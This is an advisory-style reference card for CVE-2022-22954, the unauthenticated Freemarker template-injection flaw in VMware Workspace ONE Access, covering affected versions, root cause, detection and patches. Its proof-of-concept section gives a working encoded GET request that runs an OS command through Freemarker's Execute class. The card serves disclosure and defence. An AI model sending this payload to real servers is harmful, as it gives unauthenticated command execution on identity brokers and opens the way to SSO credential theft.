VMware Workspace ONE Access Freemarker SSTI
- Product
- VMware Workspace ONE Access / Identity Manager
- CVE
- CVE-2022-22954
- Disclosed
- 2022-04-06
- CVSS
- 9.8
- Auth
- pre-auth
- CISA KEV
- yes
- Affected
- Workspace ONE Access 20.10.0.0, 20.10.0.1, 21.08.0.0, 21.08.0.1; Identity Manager 3.3.3 to 3.3.6; vRealize Automation 7.6; also bundled in Cloud Foundation 4.x and vRealize Suite Lifecycle Manager 8.x.
- Fixed
- Patches/HW-154129 per VMSA-2022-0011.
Summary
A server-side template injection in VMware's identity platform found by Steven Seeley. One unauthenticated GET request with a Freemarker expression runs commands on the server, and exploitation started within 48 hours of the patch.
Root cause
The catalog-portal error-handling path renders attacker-controlled request parameters (e.g. deviceUdid) inside a Freemarker template without escaping. Freemarker's built-in freemarker.template.utility.Execute class can then be instantiated to run OS commands as the horizon user.
Impact
Unauthenticated RCE on the identity broker, often followed by privilege escalation to root and SSO credential theft.
Public PoC
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d HTTP/1.1
Host: vidm.lab
# decoded deviceUdid:
# ${"freemarker.template.utility.Execute"?new()("cat /etc/hosts")}
# template matches HTTP 400 + "Authorization context is not valid"Source: projectdiscovery nuclei-templates CVE-2022-22954 (sherlocksecurity)
Detection
Nuclei template CVE-2022-22954. Look in access logs for /catalog-portal/ui/oauth/verify or /catalog-portal/ui requests containing '${' or 'freemarker'.
Mitigation
Apply the patches in VMSA-2022-0011 or the KB88099 workaround; do not expose Workspace ONE Access admin endpoints to the internet.